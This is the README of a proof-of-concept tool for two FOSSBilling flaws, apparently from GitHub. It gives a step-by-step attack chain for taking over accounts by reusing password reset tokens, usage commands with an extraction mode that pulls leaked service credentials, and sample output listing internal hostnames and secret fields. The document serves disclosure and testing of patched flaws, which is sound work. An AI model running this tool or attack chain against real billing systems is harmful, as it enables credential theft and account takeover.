
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — Unauthenticated API key disclosure & password reset token reuse
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
made by 7megaumka7
PoC tool for two accepted GitHub Security Advisory vulnerabilities in FOSSBilling ≤ 0.7.2
FOSKiller is a proof-of-concept tool demonstrating two security vulnerabilities in FOSSBilling — an open-source billing and client management platform. Both vulnerabilities were responsibly disclosed through the GitHub Security Advisory program and are fully patched in FOSSBilling 0.7.3+.
The tool is intended for:
| Advisory | CVE | Type | CVSS | Affected |
|---|---|---|---|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | Unauthenticated API Key Config Disclosure | 6.9 Moderate | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | Password Reset Token Reuse → Account Takeover | 7.7 High | >= 0.5.6, <= 0.7.2 |
The guest endpoint /api/guest/serviceapikey/get_info returns the full service
configuration — including custom_* fields, API credentials, hostnames, and passwords —
without requiring any authentication. An attacker who knows or enumerates a valid API
key can retrieve complete backend service configuration from a public endpoint.
Impact: Exposure of service credentials, internal hostnames, API secrets.
When a client triggers two consecutive password resets for the same account, the application issues a new token but does not invalidate the previous one. An attacker who previously captured the first token can use it to set a new password even after the legitimate user completes their own reset flow.
Attack chain:
1. Attacker triggers POST /api/guest/client/reset_password → captures token T1
2. Victim triggers their own reset → app issues T2, T1 remains valid
3. Attacker calls POST /api/guest/client/update_password?hash=T1 with chosen password
4. Attacker has persistent access regardless of victim's reset completion
Impact: Persistent account takeover of any client whose reset email is interceptable.
If dependencies are missing, the script detects this on startup and offers to install them automatically.
Clone and install dependencies:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
Or run without pre-installing — the script will prompt to install missing packages on first run.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
| Flag | Required | Description |
|---|---|---|
--target URL | Yes | Base URL of the FOSSBilling instance |
--key KEY | For CVE-2026-53647 | API key to test |
--email EMAIL | For CVE-2026-53646 | Client email to test |
--check-only | No | Detection mode — confirm vulnerability without extracting data |
--exploit | No | Full extraction + attack chain documentation |
--force | No | Skip version range check |
--output FILE | No | Save full results to a JSON file |
--timeout SEC | No | HTTP timeout in seconds (default: 10) |
--proxy URL | No | HTTP proxy (e.g. http://127.0.0.1:8080) |
--check-only and --exploit are mutually exclusive.
| Mode | Flag | What it does |
|---|---|---|
| Detection | --check-only | Confirms the vulnerability exists. Does not display or extract sensitive values. |
| Default | (no mode flag) | Confirms status and shows basic evidence. |
| Exploitation | --exploit | Extracts all leaked fields; documents full account-takeover chain with timing metadata. |
Detection only — verify both CVEs without extracting data:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
Full extraction and attack chain documentation:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
Save results to JSON and route through Burp Suite:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
Test an unknown or already-patched version:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Mode : Full extraction
[*] HTTP : 200
[+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication
Field Value
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [REDACTED IN THIS EXAMPLE]
custom_api_secret [REDACTED IN THIS EXAMPLE]